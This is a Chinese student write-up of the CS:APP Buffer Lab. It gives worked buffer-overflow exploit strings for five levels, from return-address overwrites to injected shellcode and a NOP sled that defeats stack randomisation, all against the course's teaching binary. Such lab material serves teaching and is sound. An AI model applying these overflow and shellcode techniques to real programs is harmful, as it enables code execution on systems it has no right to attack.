• 深入理解计算机系统 (CS:APP) 缓冲区漏洞实验 – Buffer Lab 解析


    原文地址:https://billc.io/2019/05/csapp-cachelab/

    写在前面

    这是 CSAPP 官网上的第 4 个实验 buflab,也是学校要求的第三个实验。这个实验比上一个单纯考查汇编语言使用的 Bomblab 要难许多,需要认真理解一下程序运行时对栈帧的操作。对于自学的学生,可以前往 http://csapp.cs.cmu.edu/3e/labs.html 下载,下载后能得到一个很详细的 pdf 文档,需要认真阅读才能知道作者想让我们干什么。做这个实验同样也啃了很久,花了十多个小时,不过也的确是对运行时栈的理解深刻了许多。


    通过阅读官方文档,bufbomb 在运行时会调用 getbuff 函数:

    /* Buffer size for getbuf */ 
    #define NORMAL_BUFFER_SIZE 32
    int getbuf() {
    	char buf[NORMAL_BUFFER_SIZE];
    	Gets(buf);
    	return 1;
    }

    缓冲区大小为32。一旦输入的字符超出32个就会出现segmentation fault,导致程序出现异常。而目标就是让程序出现异常,执行一些常规以外的代码。

    这个实验就是利用程序溢出的漏洞来破解几个 level。

    其中文件夹下的其他两个二进制文件hex2raw和makecookie分别用于将十六进制的字符数据转换成普通的字符串用于输入,和生成一个独一无二的cookie用于辨识作者。

    根据官方文档,如果将答案存储在 exploit.txt 中,使用命令

    cat exploit.txt | ./hex2raw | ./bufbomb -u bill

    可以直接将字符串输入到 bomb 中验证答案。一个更有效的方法是:

    ./hex2raw < exploit.txt > exploit-raw.txt 
    ./bufbomb -u bovik < exploit-raw.txt
    

    文档中特别提醒到,每一个exploit.txt中的答案都应当以 0X0a 结尾,表示回车符结束输入。

    在开始之前,使用objdump -d bufbomb > bufbomb.s来获取整个程序的汇编代码。

    Level 0: Candle

    目标:执行 smoke(),而不是让 getbuf() 返回 1。

    void test() {
    	int val;
    	/* Put canary on stack to detect possible corruption */
    	volatile int local = uniqueval();
    	val = getbuf();
    	    /* Check for corrupted stack */
    	    if (local != uniqueval()) {
    		printf("Sabotaged!: the stack has been corrupted
    ");
    	}
    	else if (val == cookie) {
    		printf("Boom!: getbuf returned 0x%x
    ", val);
    		validate(3);
    	}
    	else {
    		printf("Dud: getbuf returned 0x%x
    ", val);
    	}
    }

    bufboms.s的第 363 行找到了 smoke 的地址08048c18:

    https://github.com/BillChen2000/LearningRepo/raw/master/Course/CSAPP/LAB3/Report/2019-05-06-16-59-12.png

    再研究 test 的部分汇编代码:

     08048daa <test>:
     8048daa:	55                   	push   %ebp
     8048dab:	89 e5                	mov    %esp,%ebp
     8048dad:	53                   	push   %ebx
     8048dae:	83 ec 24             	sub    $0x24,%esp
     8048db1:	e8 da ff ff ff       	call   8048d90 <uniqueval>
     8048db6:	89 45 f4             	mov    %eax,-0xc(%ebp)
     8048db9:	e8 36 04 00 00       	call   80491f4 <getbuf>
     8048dbe:	89 c3                	mov    %eax,%ebx
     8048dc0:	e8 cb ff ff ff       	call   8048d90 <uniqueval>

    getbuff:

    080491f4 <getbuf>:
     80491f4:	55                   	push   %ebp
     80491f5:	89 e5                	mov    %esp,%ebp
     80491f7:	83 ec 38             	sub    $0x38,%esp
     80491fa:	8d 45 d8             	lea    -0x28(%ebp),%eax
     80491fd:	89 04 24             	mov    %eax,(%esp)
     8049200:	e8 f5 fa ff ff       	call   8048cfa <Gets>
     8049205:	b8 01 00 00 00       	mov    $0x1,%eax
     804920a:	c9                   	leave  
     804920b:	c3                   	ret  

    可以看到lea把buf的指针地址(-0x28(%ebp))传给了Gets(),0x28也就是十进制的40个字节。而ebp占了4个字节,buf距离getbuff的返回地址还有44个字节。

    返回地址需要修改的地址
    ebp – 占用4字节
    ebp – 40 字节 buf 数组的初始地址
    ebp – 0x38 esp,栈帧首地址

    从文档中得知:

    https://github.com/BillChen2000/LearningRepo/raw/master/Course/CSAPP/LAB3/Report/2019-05-06-17-08-57.png

    Gets函数不验证是否超出了 NORMAL_BUFFER_SIZE,所以超出字符的就会覆盖掉内存。

    那么只要在buf开始处随便填入44字节(0a除外,会终止输入),然后在后面加入smoke的地址,覆盖掉栈中的返回地址即可。

    另外需要注意的是 x86 机器为小端法机器,最低有效字节在内存的前面,所以在 exploit.txt 中填入如下答案即可:

    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 18 8c 04 08 0a
    

    https://github.com/BillChen2000/LearningRepo/raw/master/Course/CSAPP/LAB3/Report/2019-05-06-17-41-54.png

    Level 1: Sparkler

    目标:调用 fizz(val) 函数,并将自己的 cookies 传递为参数。

    研究 fizz 的汇编代码:

    08048c42 <fizz>:
     8048c42:	55                   	push   %ebp
     8048c43:	89 e5                	mov    %esp,%ebp
     8048c45:	83 ec 18             	sub    $0x18,%esp
        # ebp + 8 就是参数 val
     8048c48:	8b 45 08             	mov    0x8(%ebp),%eax
     8048c4b:	3b 05 08 d1 04 08    	cmp    0x804d108,%eax
     8048c51:	75 26                	jne    8048c79 <fizz+0x37>
     8048c53:	89 44 24 08          	mov    %eax,0x8(%esp)
     8048c57:	c7 44 24 04 ee a4 04 	movl   $0x804a4ee,0x4(%esp)
     8048c5e:	08 
     8048c5f:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
     8048c66:	e8 55 fd ff ff       	call   80489c0 <__printf_chk@plt>
     8048c6b:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
     8048c72:	e8 04 07 00 00       	call   804937b <validate>
     8048c77:	eb 18                	jmp    8048c91 <fizz+0x4f>
     8048c79:	89 44 24 08          	mov    %eax,0x8(%esp)
     8048c7d:	c7 44 24 04 40 a3 04 	movl   $0x804a340,0x4(%esp)
     8048c84:	08 
     8048c85:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
     8048c8c:	e8 2f fd ff ff       	call   80489c0 <__printf_chk@plt>
     8048c91:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
     8048c98:	e8 63 fc ff ff       	call   8048900 <exit@plt>

    和第一个阶段相比,除了破坏栈帧调用函数以外,还需要构造一个参数。我这里使用的 cookies 为 0x362d5a70。

    在会变函数重能够发现在和 0x804d108 对比,推测这里就是储存的我们的 cookie。打印出来后发现的确是cookie:

    https://github.com/BillChen2000/LearningRepo/raw/master/Course/CSAPP/LAB3/Report/2019-05-06-20-41-29.png

    后面的逻辑大概就是判断 val 和 cookie 是否相等。所以这里就需要在栈帧构造出下列结构:

    地址解释
    ebp + 8 字节 val
    返回地址 应当为 fizz 的首地址
    ebp – 占用4字节
    ebp – 40 字节 buf 数组的初始地址
    ebp – 0x38 esp,栈帧首地址

    所以这里应该注入一个 52 字节,前 44 字节为任意值,然后注入 4 字节,为 fizz 函数的首地址 0x08048c42 ,接着离第一个参数开始还有 4 个字节,随意填充,再注入 4 个字节,为 cookies 0x362d5a70. 构造出的答案如下:

    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 42 8c 04 08
    00 00 00 00 70 5a 2d 36 0a
    

    https://github.com/BillChen2000/LearningRepo/raw/master/Course/CSAPP/LAB3/Report/2019-05-06-20-25-49.png

    Level 2: Firecracker

    目标:含有一个 bang 函数,和一个全局变量 global_value,需要注入机器代码,修改 global_value 为 cookies 的值,再调用 bang 函数。

    从文档中获得的 bang 代码如下。

    int global_value = 0;
    
    void bang(int val) {
    	if (global_value == cookie) {
    		printf("Bang!: You set global_value to 0x%x
    ", global_value);
    		validate(2);
    	} else
    		printf("Misfire: global_value = 0x%x
    ", global_value);
    	exit(0);
    }

    研究 bang 汇编语言的前几行:

    08048c9d <bang>:
    8048c9d:	55                   	push   %ebp
    8048c9e:	89 e5                	mov    %esp,%ebp
    8048ca0:	83 ec 18             	sub    $0x18,%esp
    8048ca3:	a1 00 d1 04 08       	mov    0x804d100,%eax
    8048ca8:	3b 05 08 d1 04 08    	cmp    0x804d108,%eax
    8048cae:	75 26                	jne    8048cd6 <bang+0x39>
    8048cb0:	89 44 24 08          	mov    %eax,0x8(%esp)
    8048cb4:	c7 44 24 04 60 a3 04 	movl   $0x804a360,0x4(%esp)

    在这里可以看到程序在将 eax 的值和 0x804d100 作比较,推测 globla_value 存储的位置就是在 0x804d100。后面又一次出现了 0x804d108,根据前面的分析存储的是 cookies 的值。

    https://github.com/BillChen2000/LearningRepo/raw/master/Course/CSAPP/LAB3/Report/2019-05-06-20-40-41.png

    所以为了修改变量值,需要将汇编代码注入到程序当中。文档提示我们不要使用 jmp 和 call,所以为了执行 bang 函数,要将 bang 函数的地址 push 进栈中,然后使用 ret 命令。

    https://github.com/BillChen2000/LearningRepo/raw/master/Course/CSAPP/LAB3/Report/2019-05-06-20-45-04.png

    汇编代码如下:

    # 改变 global_value
    movl $0x362d5a70, 0x804d100
    # 将 bang 函数的首地址压入栈
    pushl $0x08048c9d
    ret

    接下来就是将汇编语言转换成十六进制的机器代码了。使用gcc -m32 -c 和 objdump -d可以得到转换之后的文件:

    00000000 <.text>:
       0:	c7 05 00 d1 04 08 70 	movl   $0x362d5a70,0x804d100
       7:	5a 2d 36 
       a:	68 9d 8c 04 08       	push   $0x8048c9d
       f:	c3                   	ret    

    那么所有的字节就是 c7 05 00 d1 04 08 70 5a 2d 36 68 9d 8c 04 08 c3。接下来回到 getbuff 的汇编代码:

    080491f4 <getbuf>:
     80491f4:	55                   	push   %ebp
     80491f5:	89 e5                	mov    %esp,%ebp
     80491f7:	83 ec 38             	sub    $0x38,%esp
     80491fa:	8d 45 d8             	lea    -0x28(%ebp),%eax
     80491fd:	89 04 24             	mov    %eax,(%esp)
     8049200:	e8 f5 fa ff ff       	call   8048cfa <Gets>
     8049205:	b8 01 00 00 00       	mov    $0x1,%eax
     804920a:	c9                   	leave  
     804920b:	c3                   	ret  

    应当构造如下结构:

    地址解释
    返回地址 应当覆盖为我们输入缓冲区的首地址
    ebp – 占用4字节
    ebp – 40 字节 buf 数组的初始地址,从这里开始注入代码
    ebp – 0x38 esp,栈帧首地址

    在程序运行到 lea 语句之后,使用 info registers 获得 eax 的地址为 0x556830e8。注意到这里 eax 里的地址也是缓冲区的首地址。所以需要先在缓冲区的前面几个字节就注入汇编代码,然后在 44 字节之后注入缓冲区的起点地址,让程序跳转回来。

    结合以上信息,构造下列答案:

    c7 05 00 d1 04 08 70 5a
    2d 36 68 9d 8c 04 08 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 e8 30 68 55 0a
    

    成功通过。

    https://github.com/BillChen2000/LearningRepo/raw/master/Course/CSAPP/LAB3/Report/2019-05-06-21-59-24.png

    Level 3: Dynamite

    目标:这个 Level 要求我们注入一段能够修改 getbuf 返回值的代码,返回值从 1 改成 cookie 值,此外还需要还原所有破坏,继续运行 test 的剩下部分。

    同样回到 getbuff 的汇编代码:

    080491f4 <getbuf>:
    80491f4:	55                   	push   %ebp
    80491f5:	89 e5                	mov    %esp,%ebp
    80491f7:	83 ec 38             	sub    $0x38,%esp
    80491fa:	8d 45 d8             	lea    -0x28(%ebp),%eax
    80491fd:	89 04 24             	mov    %eax,(%esp)
    8049200:	e8 f5 fa ff ff       	call   8048cfa <Gets>
    8049205:	b8 01 00 00 00       	mov    $0x1,%eax
    804920a:	c9                   	leave  
    804920b:	c3                   	ret  

    注意到在 Gets 之后,eax 会被修改为 1,所以在正常情况下函数总会返回 1。而为了改变这一行需要我们手动修改 eax 为 coockie,所以需要注入一段代码,首先手动设置 eax 为 cookie,然后将返回地址设置为 test 在调用了 getbuf 之后的下一行 0x08048dbe

    结合 test 的前几行代码:

     08048daa <test>:
     8048daa:	55                   	push   %ebp
     8048dab:	89 e5                	mov    %esp,%ebp
     8048dad:	53                   	push   %ebx
     8048dae:	83 ec 24             	sub    $0x24,%esp
     8048db1:	e8 da ff ff ff       	call   8048d90 <uniqueval>
     8048db6:	89 45 f4             	mov    %eax,-0xc(%ebp)
     8048db9:	e8 36 04 00 00       	call   80491f4 <getbuf>
     8048dbe:	89 c3                	mov    %eax,%ebx
     8048dc0:	e8 cb ff ff ff       	call   8048d90 <uniqueval>

    所以应当构造 Gets 的栈帧如下:

    地址解释
    返回地址 设置成缓冲区的首地址
    ebp 占用4字节
    ebp – 40 字节 buf 数组的初始地址,从这里开始注入修改 eax 的代码
    ebp – 0x38 esp,栈帧首地址

    在最开始,同样需要注入一句汇编语句:

    movl $0x362d5a70, %eax
    push $0x0804920a
    ret

    使用gcc -m32 -c 和 objdump -d可以得到机器代码:

    00000000 <.text>:
       0:	b8 70 5a 2d 36       	mov    $0x362d5a70,%eax
       5:	68 be 8d 04 08       	push   $0x8048dbe
       a:	c3                   	ret     

    得到需要注入的机器代码:b8 70 5a 2d 36 68 be 8d 04 08 c3

    为了防止对栈的破坏,%ebp 是被调用者保存寄存器,是 test 在调用 getbuf 之后,getbuf 首先就就压进了栈帧里。同时为了使程序继续运行,需要保证 ebp 不被破坏。使用 gdb,在 getbuf 的第一行 0x080491f4 处打下断点,研究此时 %ebp 的值。

    https://github.com/BillChen2000/LearningRepo/raw/master/Course/CSAPP/LAB3/Report/2019-05-06-22-49-05.png

    得到 ebp 的值是 0x55683140。所以需要注入的时候在40 – 44 字节注入保存好的 ebp 值,可以防止 ebp 的值被破坏。

    总的逻辑就是先注入一段可以修改 eax 信息,并将 test 调用完 getbuf 之后的下一句代码 push 进栈帧的机器代码,接着在后面补充原先的寄存器状态,最后在将返回地址设置为缓冲区的开头部分,执行已经注入的代码。

    结合以上信息构造答案:

    b8 70 5a 2d 36 68 be 8d  
    04 08 c3 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    40 31 68 55 e8 30 68 55 0a
    

    https://github.com/BillChen2000/LearningRepo/raw/master/Course/CSAPP/LAB3/Report/2019-05-06-23-08-20.png

    Level 4: Nitroglycerin

    目标:使用 -n 命令运行 bufbomb,程序会开启栈随机化来组织攻击代码。需要对抗栈随机化,实现把 getbufn 的返回值修改成 cookie 值并避免对栈的破坏。

    和前面不同的是,这一个阶段由于使用的是 getbufn 和 testn 函数,并且需要将一个相同的字符串输入五次。所以需要使用命令

    cat exploit.txt | ./hex2raw -n | ./bufbomb -n -u bill

    来输入字符。同时,文档也指出在 getbufn 中有#define KABOOM_BUFFER_SIZE 512,所以缓冲区大小为 512.

    这次研究 getbufn 的汇编代码:

    (gdb) disas
    Dump of assembler code for function getbufn:
       0x0804920c <+0>:	push   %ebp
       0x0804920d <+1>:	mov    %esp,%ebp
        # esp 减去了 536 个字节
       0x0804920f <+3>:	sub    $0x218,%esp
        # buf 的首地址空间离 ebp 有 520 个字节
    => 0x08049215 <+9>:	lea    -0x208(%ebp),%eax
       0x0804921b <+15>:	mov    %eax,(%esp)
       0x0804921e <+18>:	call   0x8048cfa <Gets>
       0x08049223 <+23>:	mov    $0x1,%eax
       0x08049228 <+28>:	leave  
       0x08049229 <+29>:	ret    
    End of assembler dump.

    在这一阶段,getbufn 会调用 5 次,每次的储存的 ebp 都不一样,官方文档表示这个差值会在 +- 240的样子:

    https://github.com/BillChen2000/LearningRepo/raw/master/Course/CSAPP/LAB3/Report/2019-05-07-01-12-44.png

    接下来使用 gdb,在 getbufn 打下断点,连续 5 次查看 %ebp 的值,可以得到这五次 ebp 的值分别是在:

    Nop/x $ebpp/x $ebp – 0x208
    1 0x55683110 0x55682f08
    2 0x556830b0 0x55682ea8
    3 0x55683100 0x55682ef8
    4 0x55683110 0x55682f08
    5 0x55683180 0x55682f78

    对应的,buf 的起始地址就是每一次记的 ebp 减去 208,也就是 520 字节。

    所以每一次的地址是无法确认的。英文文档中介绍了可以使用 nop sled 的方法来解决这一问题。参考 CSAPP 教材中的介绍:

    https://github.com/BillChen2000/LearningRepo/raw/master/Course/CSAPP/LAB3/Report/2019-05-07-01-41-30.png

    所以如果在注入的攻击代码的前面全部填充为 nop 指令(nop 指令的机器代码为 0x90),只要最后的返回地址落在了这一大堆 nop 指令中的任意一个,程序就会一直 nop 下去,直到运行到我们注入的汇编代码,而不会因为跳转到了我们注入到的有效代码中间某个位置而出现意想不到的结果。

    因此,在注入代码的时候,有效的机器代码应当尽可能地往后放,在前面都填上 nop,也就是 0x90。

    接下来需要处理的问题是注入并覆盖 ebp 后,把正确的 esp 还原回去。研究 testn 的部分汇编代码:

    Dump of assembler code for function testn:
       0x08048e26 <+0>:	push   %ebp
       0x08048e27 <+1>:	mov    %esp,%ebp
       0x08048e29 <+3>:	push   %ebx
       0x08048e2a <+4>:	sub    $0x24,%esp
       0x08048e2d <+7>:	call   0x8048d90 <uniqueval>
       0x08048e32 <+12>:	mov    %eax,-0xc(%ebp)
       0x08048e35 <+15>:	call   0x804920c <getbufn>
       0x08048e3a <+20>:	mov    %eax,%ebx
       0x08048e3c <+22>:	call   0x8048d90 <uniqueval>

    在每一次调用了 getbufn 之后,ebp 的值将会被 push 进去。这个 ebp 值是等于 testn 被调用的时候 esp 存储的值的。esp 先由于push ebx而减去了4,再手动减去了0x24,所以这个时候 exp + 0x28 的值就是传入了 getbufn 开始的时候 ebp 的值。

    所以构造出来的汇编代码如下:

    lea 0x28(%esp), %ebp
    mov $0x362d5a70, %eax
    push $0x08048e3a
    ret

    得到机器代码:

    00000000 <.text>:
       0:	8d 6c 24 28          	lea    0x28(%esp),%ebp
       4:	b8 70 5a 2d 36       	mov    $0x362d5a70,%eax
       9:	68 3a 8e 04 08       	push   $0x8048e3a
       e:	c3                   	ret    
    

    整理得 8d 6c 24 28 b8 70 5a 2d 36 68 3a 8e 04 08 c3

    根据以上分析应构造的栈帧结构如下:

    地址解释
    返回地址 设置成几个缓冲区首地址的最小值,然后使用nop sled运行下去
    ebp 占用4字节,会被破坏,所以要还原
    ebp – 520 字节 buf 数组的初始地址,从这里开始注入代码
    ebp – 0x218 esp,栈帧首地址

    结合得到的 5 次 buf 首地址,应该让程序跳转到地址最高的一次,然后一路 nop sled。最大的地址为 0x55682f78,应当填入第 524 字节。所以构造答案如下:

    /* 505 字节的 nop */
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90
    /* 注入的代码 */
    8d 6c 24 28 b8 70 5a 2d 36 68 3a 8e 04 08 c3
    /* 覆盖 ebp */
    00 00 00 00
    /* 破坏返回地址 */
    78 2f 68 55
    

    https://github.com/BillChen2000/LearningRepo/raw/master/Course/CSAPP/LAB3/Report/2019-05-07-02-50-39.png

    经验证五次结果均满足要求。All done.


    写在后面

    太可怕了,写完这个又是凌晨三点了。

    我愈发开始敬佩这些实验的作者,CMU的计算机不愧是地球第一。然而马上又要开始啃下一个实验了。不愧是华师软院,一秃再秃,一秃到底。

    由于实在是懒得在 wordpress 上排版,这里的正文部分是直接复制的我 GitHub 里的文件。如果不幸图片加载出现了问题,这里应该有排版良好的实验报告:GitHub 传送门

  • 相关阅读:
    JMETER接口测试问题三之Host of origin may not be blank
    JMETER接口测试问题解决二之后续接口请求依赖登录接口的操作
    JMETER接口测试问题一之请求超时报错
    jmeter接口测试之json提取器的使用方法二
    JMETER接口测试之Debug sample
    JMTER接口测试之JSON提取器
    EXCEL批量导入到Sqlserver数据库并进行两表间数据的批量修改
    Linq的整型或实体类null引发的报错问题
    SqlServer 统计1-12月份 每个月的数据(临时表)
    select2的多选下拉框上传
  • 原文地址:https://www.cnblogs.com/AlanChen2k/p/12533992.html
Copyright © 2020-2023  润新知